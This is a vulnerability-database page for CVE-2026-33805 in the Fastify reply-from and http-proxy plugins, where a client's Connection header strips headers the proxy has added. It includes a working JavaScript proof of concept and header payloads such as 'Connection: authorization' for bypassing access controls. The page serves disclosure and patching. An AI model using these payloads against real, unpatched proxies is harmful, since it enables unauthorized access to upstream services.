Vulnerability-Lookup

CVE-2026-33805 (GCVE-0-2026-33805)

Vulnerability from cvelistv5 – Published: 2026-04-15 10:13 – Updated: 2026-04-15 13:08

Title

@fastify/reply-from vulnerable to connection header abuse enabling stripping of proxy-added headers

Summary

@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from. Upgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later.

Severity ?

9 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N

CWE

CWE-644 - Improper Neutralization of HTTP Headers for Scripting Syntax

Assigner

openjs

References

URL

Tags

	https://github.com/fastify/fastify-reply-from/sec…
	https://cna.openjsf.org/security-advisories.html

Impacted products

Vendor

Product

Version

@fastify/reply-from

Affected: 0 , < 12.6.2 (semver)
Unaffected: 12.6.2 (semver)

@fastify/reply-from

@fastify/http-proxy

Affected: 0 , < 11.4.4 (semver)
Unaffected: 11.4.4 (semver)

Credits

FredKSchott mcollina UlisesGascon climba03003

Show details on NVD website

JSON

To clipboard

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GHSA-GWHP-PF74-VJ37

Vulnerability from github – Published: 2026-04-16 01:02 – Updated: 2026-04-16 01:02

Summary

Fastify's connection header abuse enables stripping of proxy-added headers

Details

Summary

@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.

Details

The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:

Client headers are copied including the connection header (@fastify/reply-from/index.js line 91)
The proxy adds custom headers via rewriteRequestHeaders (line 151)
During request construction, the transport handlers read the client's Connection header and strip any headers listed in it
This stripping happens after rewriteRequestHeaders, allowing clients to target proxy-added headers for removal

RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.

The call chain: 1. @fastify/reply-from/index.js line 91: headers = { ...req.headers } — copies ALL client headers including connection 2. index.js line 151: requestHeaders = rewriteRequestHeaders(this.request, headers) — proxy adds custom headers (e.g., x-forwarded-by) 3. index.js line 180: requestImpl({...headers: requestHeaders...}) — passes headers to transport 4. request.js line 191 (undici): getConnectionHeaders(req.headers) — reads Connection header FROM THE CLIENT 5. request.js lines 198-200: Strips headers listed in Connection — including proxy-added headers

This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.

PoC

Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:

const fastify = require('fastify');

async function test() {
  // Upstream service that echoes headers
  const upstream = fastify({ logger: false });
  upstream.get('/api/echo-headers', async (request) => {
    return { headers: request.headers };
  });
  await upstream.listen({ port: 19801 });

  // Proxy that adds a custom header via rewriteRequestHeaders
  const proxy = fastify({ logger: false });
  await proxy.register(require('@fastify/reply-from'), {
    base: 'http://localhost:19801'
  });

  proxy.get('/proxy/*', async (request, reply) => {
    const target = '/' + (request.params['*'] || '');
    return reply.from(target, {
      rewriteRequestHeaders: (originalReq, headers) => {
        return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
      }
    });
  });

  await proxy.listen({ port: 19800 });

  // Baseline: proxy adds x-forwarded-by header
  const res1 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers'
  });
  console.log('Baseline response headers from upstream:');
  const body1 = JSON.parse(res1.body);
  console.log('  x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');

  // Attack: Connection header strips the proxy-added header
  const res2 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers',
    headers: { 'connection': 'x-forwarded-by' }
  });
  console.log('\nAttack response headers from upstream:');
  const body2 = JSON.parse(res2.body);
  console.log('  x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');

  await proxy.close();
  await upstream.close();
}
test();

Actual output:

Baseline response headers from upstream:
  x-forwarded-by: fastify-proxy

Attack response headers from upstream:
  x-forwarded-by: NOT PRESENT (stripped!)

The x-forwarded-by header that the proxy explicitly added in rewriteRequestHeaders is stripped before reaching the upstream.

Multiple headers can be stripped at once by sending Connection: x-forwarded-by, x-forwarded-for.

Both the undici (default) and HTTP/1.1 transport handlers in @fastify/reply-from are affected, as well as @fastify/http-proxy which delegates to @fastify/reply-from.

Impact

Attackers can selectively remove any header added by the proxy's rewriteRequestHeaders function. This enables several attack scenarios:

Bypass proxy identification: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests
Circumvent access control: If the proxy adds headers used for routing, authorization, or security decisions (e.g., x-internal-auth, x-proxy-token), attackers can strip them to access unauthorized resources
Remove arbitrary headers: Any header can be targeted, including Connection: authorization to strip authentication or Connection: x-forwarded-for, x-forwarded-by to remove multiple headers at once

This vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.

Affected Versions

@fastify/reply-from — All versions, both undici (default) and HTTP/1.1 transport handlers
@fastify/http-proxy — All versions (delegates to @fastify/reply-from)
Any configuration using rewriteRequestHeaders to add headers that could be security-relevant
No special configuration required to exploit — works with default settings

Suggested Fix

The Connection header from the client should be processed and consumed before rewriteRequestHeaders is called, not after. Alternatively, the Connection header processing in request.js should maintain a list of headers that existed in the original client request and only strip those, not headers added by rewriteRequestHeaders.

Severity ?

9.0 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N

Show details on source website

JSON

To clipboard

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    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`@fastify/reply-from` and `@fastify/http-proxy` process the client\u0027s `Connection` header after the proxy has added its own headers via `rewriteRequestHeaders`. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the `Connection` header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.\n\n### Details\n\nThe vulnerability exists in `@fastify/reply-from/lib/request.js` at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:\n\n1. Client headers are copied including the `connection` header (`@fastify/reply-from/index.js` line 91)\n2. The proxy adds custom headers via `rewriteRequestHeaders` (line 151)\n3. During request construction, the transport handlers read the client\u0027s `Connection` header and strip any headers listed in it\n4. This stripping happens after `rewriteRequestHeaders`, allowing clients to target proxy-added headers for removal\n\nRFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client\u0027s Connection header after the proxy has already modified the header set.\n\nThe call chain:\n1. `@fastify/reply-from/index.js` line 91: `headers = { ...req.headers }` \u2014 copies ALL client headers including `connection`\n2. `index.js` line 151: `requestHeaders = rewriteRequestHeaders(this.request, headers)` \u2014 proxy adds custom headers (e.g., `x-forwarded-by`)\n3. `index.js` line 180: `requestImpl({...headers: requestHeaders...})` \u2014 passes headers to transport\n4. `request.js` line 191 (undici): `getConnectionHeaders(req.headers)` \u2014 reads Connection header FROM THE CLIENT\n5. `request.js` lines 198-200: Strips headers listed in Connection \u2014 including proxy-added headers\n\nThis is distinct from the general hop-by-hop forwarding concern \u2014 it\u0027s specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy\u0027s `rewriteRequestHeaders` function.\n\n### PoC\n\nSelf-contained reproduction with an upstream echo service and a proxy that adds a custom header:\n\n```javascript\nconst fastify = require(\u0027fastify\u0027);\n\nasync function test() {\n  // Upstream service that echoes headers\n  const upstream = fastify({ logger: false });\n  upstream.get(\u0027/api/echo-headers\u0027, async (request) =\u003e {\n    return { headers: request.headers };\n  });\n  await upstream.listen({ port: 19801 });\n\n  // Proxy that adds a custom header via rewriteRequestHeaders\n  const proxy = fastify({ logger: false });\n  await proxy.register(require(\u0027@fastify/reply-from\u0027), {\n    base: \u0027http://localhost:19801\u0027\n  });\n\n  proxy.get(\u0027/proxy/*\u0027, async (request, reply) =\u003e {\n    const target = \u0027/\u0027 + (request.params[\u0027*\u0027] || \u0027\u0027);\n    return reply.from(target, {\n      rewriteRequestHeaders: (originalReq, headers) =\u003e {\n        return { ...headers, \u0027x-forwarded-by\u0027: \u0027fastify-proxy\u0027 };\n      }\n    });\n  });\n\n  await proxy.listen({ port: 19800 });\n\n  // Baseline: proxy adds x-forwarded-by header\n  const res1 = await proxy.inject({\n    method: \u0027GET\u0027,\n    url: \u0027/proxy/api/echo-headers\u0027\n  });\n  console.log(\u0027Baseline response headers from upstream:\u0027);\n  const body1 = JSON.parse(res1.body);\n  console.log(\u0027  x-forwarded-by:\u0027, body1.headers[\u0027x-forwarded-by\u0027] || \u0027NOT PRESENT\u0027);\n\n  // Attack: Connection header strips the proxy-added header\n  const res2 = await proxy.inject({\n    method: \u0027GET\u0027,\n    url: \u0027/proxy/api/echo-headers\u0027,\n    headers: { \u0027connection\u0027: \u0027x-forwarded-by\u0027 }\n  });\n  console.log(\u0027\\nAttack response headers from upstream:\u0027);\n  const body2 = JSON.parse(res2.body);\n  console.log(\u0027  x-forwarded-by:\u0027, body2.headers[\u0027x-forwarded-by\u0027] || \u0027NOT PRESENT (stripped!)\u0027);\n\n  await proxy.close();\n  await upstream.close();\n}\ntest();\n```\n\nActual output:\n```\nBaseline response headers from upstream:\n  x-forwarded-by: fastify-proxy\n\nAttack response headers from upstream:\n  x-forwarded-by: NOT PRESENT (stripped!)\n```\n\nThe `x-forwarded-by` header that the proxy explicitly added in `rewriteRequestHeaders` is stripped before reaching the upstream.\n\nMultiple headers can be stripped at once by sending `Connection: x-forwarded-by, x-forwarded-for`.\n\nBoth the undici (default) and HTTP/1.1 transport handlers in `@fastify/reply-from` are affected, as well as `@fastify/http-proxy` which delegates to `@fastify/reply-from`.\n\n### Impact\n\nAttackers can selectively remove any header added by the proxy\u0027s `rewriteRequestHeaders` function. This enables several attack scenarios:\n\n1. **Bypass proxy identification**: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests\n2. **Circumvent access control**: If the proxy adds headers used for routing, authorization, or security decisions (e.g., `x-internal-auth`, `x-proxy-token`), attackers can strip them to access unauthorized resources\n3. **Remove arbitrary headers**: Any header can be targeted, including `Connection: authorization` to strip authentication or `Connection: x-forwarded-for, x-forwarded-by` to remove multiple headers at once\n\nThis vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.\n\n### Affected Versions\n\n- `@fastify/reply-from` \u2014 All versions, both undici (default) and HTTP/1.1 transport handlers\n- `@fastify/http-proxy` \u2014 All versions (delegates to `@fastify/reply-from`)\n- Any configuration using `rewriteRequestHeaders` to add headers that could be security-relevant\n- No special configuration required to exploit \u2014 works with default settings\n\n### Suggested Fix\n\nThe Connection header from the client should be processed and consumed before `rewriteRequestHeaders` is called, not after. Alternatively, the Connection header processing in `request.js` should maintain a list of headers that existed in the original client request and only strip those, not headers added by `rewriteRequestHeaders`.",
  "id": "GHSA-gwhp-pf74-vj37",
  "modified": "2026-04-16T01:02:59Z",
  "published": "2026-04-16T01:02:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-gwhp-pf74-vj37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33805"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify-reply-from"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fastify\u0027s connection header abuse enables stripping of proxy-added headers"
}

FKIE_CVE-2026-33805

Vulnerability from fkie_nvd - Published: 2026-04-15 11:16 - Updated: 2026-04-17 15:09

Severity ?

9.0 (Critical) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N

Summary

References

	URL	Tags
	ce714d77-add3-4f53-aff5-83d477b104bb	https://cna.openjsf.org/security-advisories.html
	ce714d77-add3-4f53-aff5-83d477b104bb	https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-gwhp-pf74-vj37
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-gwhp-pf74-vj37

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client\u0027s Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from. \n\nUpgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later."
    }
  ],
  "id": "CVE-2026-33805",
  "lastModified": "2026-04-17T15:09:46.880",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.0,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "LOW",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "ce714d77-add3-4f53-aff5-83d477b104bb",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-15T11:16:34.990",
  "references": [
    {
      "source": "ce714d77-add3-4f53-aff5-83d477b104bb",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "source": "ce714d77-add3-4f53-aff5-83d477b104bb",
      "url": "https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-gwhp-pf74-vj37"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-gwhp-pf74-vj37"
    }
  ],
  "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-644"
        }
      ],
      "source": "ce714d77-add3-4f53-aff5-83d477b104bb",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33805 (GCVE-0-2026-33805)

GHSA-GWHP-PF74-VJ37

Summary

Details

PoC

Impact

Affected Versions

Suggested Fix

FKIE_CVE-2026-33805

Tags

Sightings

Nomenclature